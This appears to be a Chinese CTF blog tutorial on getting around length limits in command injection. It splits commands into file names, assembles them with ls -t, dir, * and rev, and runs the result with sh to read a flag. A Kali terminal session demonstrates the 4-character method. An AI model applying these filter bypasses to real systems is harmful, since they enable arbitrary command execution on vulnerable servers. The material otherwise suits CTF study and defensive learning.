有长度限制的命令执行

有长度限制的命令执行

长度9
大多数常用的命令长度都小于9,所有都可以直接执行
ls /
cat /flag....
长度7
cat /flag:这个命令长度为8,那么正常的命令是执行不了的。
我们可以通过把命令写入到文件名里面,从而通过创建多个文件,把含有命令的文件名写入到一个文件中,再去执行这个文件,就可以执行我们的命令

linux中可以用\使指令连接下一行,这样就可以写多行命令了
文件中前面命令出错,会自动跳过,不影响后面命令的执行
以用sh,bash,source, .来执行一个脚本。
两个\,是因为要转义,不然的话就会认为是当前的命令会连接下一行了:
/*代表所有目录和所有文件
./*代表当前目录所有目录文件
例如:mkdir a#创建a目录
   #: >a                     
   #: >mkdir\ \\
   #: ls -t >3          把目录下的文件名按照创建时间写入到文件3中
   #: sh 3              可以利用source ,bash执行脚本文件
例如:echo Y2F0IC9mbGFn|base64 -d>feng
#:>eng\\
#:>\>f\\
#:>-d\\                        abcd
                                
#:>4\ \\
#:>se6\\
#:>ba\\
#:>n\|\\
#:>GF\\
#:>9mb\\
#:>IC\\
#:>F0\\
#:>Y2\\
#:>o\ \\
#:>ech\\
#:ls -t>0
#:sh 0


长度5
与7长度相比,5长度了 ls -t>1命令用不了,所以目的就是构造出这个命令
#:>s\\                
#: >l\\
#: >\>0
#: >\ -t\\
#:ls>a
#: ls
'>0'  'l\'  's\'  ' -t\'  输入的字符排列是按字符顺序排列的,所有可以通过>>覆盖输入两次ls
#:ls>>a
 >0
a
l\
s\
 -t\
>0                  //这样就构造出ls -t>0
a
l\
s\
 -t\
#: sh 0
长度4
由于ls>>a长度是五所以不能追加构造
dir:虽然基本上和 ls 一样,但有两个好处,一是开头字母是d ,这使得它在 字母 序中靠前,二是按列输出,不换行。

*:相当于$(dir *),所以说如果文件名如果是命令的话就会返回执行的结果,之后的作为参数传入.
rev:可以反转文件每一行的内容。





因为字符限制为4,ls>>?命令不能使用了,可以使用rev命令进行逆序。ls -t>g这个命令逆序也不能实现,因为t在字典序中是比s大。如果是逆序的话,需要一个比s小的字母。在ls中有个参数-h,它与-l一起使用,使输出更加具有可读性。与其他参数一起则没有影响。因此可以构造ls -th>g
#:>dir
#:>sl
#:>g\>
#: >ht-
#: ls
dir  g>  ht-  sl           // 系统排序是按字母表顺序排的,所有顺序是可以知道的
#: *
g> ht- sl                //*的作用就是把列出的第一个文件名做命令
#: *>v
#: >rev 
#:*v>x                 //*v
#: sh x

在这里插入图片描述

┌──(kali㉿kali)-[~/test]
└─$ >dir
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ >sl                                                                                                                                              130 ⨯
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ >g\>         
130 ⨯
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ >ht-                                                                                                                                             130 ⨯
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ ls                                                                                                                                               130 ⨯
 dir  'g>'   ht-   sl
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ *
g>  ht-  sl
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ *>v
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ cat v  
g>  ht-  sl
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ >rev
^C
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ *v>x                                                                                                                                             130 ⨯
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ cat x
ls  -th  >g
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ sh x                  
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ cat g
g
x
rev
v
ht-
g>
sl
dir
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ *v  
ls  -th  >g
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ * 
g  g>  ht-  rev  sl  v  x
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ ls
 dir   g  'g>'   ht-   rev   sl   v   x
                                                                                                                                                           
┌──(kali㉿kali)-[~/test]
└─$ sS

posted @ 2022-10-27 11:16  GTL_JU  阅读(290)  评论(0编辑  收藏  举报